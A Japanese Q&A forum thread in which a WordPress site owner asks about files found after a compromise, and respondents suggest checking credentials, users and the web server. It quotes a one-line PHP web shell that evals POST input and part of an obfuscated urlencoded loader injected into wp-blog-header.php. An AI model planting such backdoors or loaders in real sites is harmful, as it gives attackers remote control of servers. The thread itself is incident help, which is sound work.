PHP初心者なので、基本的な質問でしたら申し訳ありません。
先日よりサイトの調子が悪く現在リニューアル状態にした者です。
PHPはほとんど触ったことないので、以下のものについて「どういったものなのか」や「どう対処すればよいか」などのアドバイスをいただければと思います。
- 4v0hlv20.phpという名前のファイル。この中に以下のものが書かれていました。
<?php @eval($_POST['j6lvn882']);?>
参考サイトこちらのサイトを見ると、もしかしてバックドアを通されているのかな?と気になっています。
- wp-blog-header.phpというファイルの頭部分にやたらと長い(しかもまったく読めない)codeが大量にあって、これがデフォルトなのか改ざんされたのか、元のファイルを管理していない私には判断つかないので、どういったモノなのかさえ分かれば教えていただきたいです。一部掲載します。
$O_O0OO_00_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O0OOO__00_=$O_O0OO_00_{26}.$O_O0OO_00_{6}.$O_O0OO_00_{10}.$O_O0OO_00_{30}.$O_O0OO_00_{29}.$O_O0OO_00_{26}.$O_O0OO_00_{30}.$O_O0OO_00_{38}.$O_O0OO_00_{6}.$O_O0OO_00_{18}.$O_O0OO_00_{23}.$O_O0OO_00_{10}.$O_O0OO_00_{29}.$O_O0OO_00_{10}.$O_O0OO_00_{12}.$O_O0OO_00_{5}.$O_O0OO_00_{30}.$O_O0OO_00_{2}.$O_O0OO_00_{35}.$O_O0OO_00_{0}.$O_O0OO_00_{30}.$O_O0OO_00_{29}.$O_O0OO_00_{33}.$O_O0OO_00_{30}.$O_O0OO_00_{10};$O_00OO0_O_=$O_O0OO_00_{16}。。。
こんなのが何十行と続いており、最後の方の間にちょこちょことHTMLっぽいコードが間に埋められていました。
この下にWP公式っぽいものが数行書かれています。
かなり分かりにく質問の仕方になってしまっているかと思いますが、何卒よろしくお願いいたします。。
サーバーにアクセスする際のアカウント情報が漏洩していたり、あるいは既にアクセス用別ユーザーが作られている可能性もあるので、しっかり調べてください。ユーザー権限も一度点検を。
https://teratail.com/questions/44379 これに続く投稿ということですね?
コメントありがとうございます。
アカウント情報を一度刷新し、ユーザー権限も以前より限定的に設定しているのですが、まだこういった改ざんが続いて起きてしまいます。。
ご指摘のあった通り、今一度アクセスユーザーについて確認してみます。
ありがとうございます。
urlエンコードされた文字列のデコードは、こちらのサイトが役立ちます。http://www.tagindex.com/tool/url.html デコードして得られた文字を改めて文字の順番を繋ぎ直してphp上で動作するコードを生成しているはずです。
kei344様
はい、それですね。。
一度サイトは閉鎖して、外部の方に依頼もお願いすることになりましたが、すぐに対応はできないそうなので、こちらでできることがあればと思いサーバーサイドを確認していたところ以上のことが見られたため、再度質問させていただきました。
m6u様のおっしゃる通り一度ユーザー権限などは見直してパスワードを変えてみたりもしたのですが、それでも変わるので、すでにサーバー内に専用のバックドアがあるのかもと考え調査していたところです。
webサーバープロセスを停止しておかないかぎり、止まらない気がします。
回答4件
あなたの回答
tips
プレビュー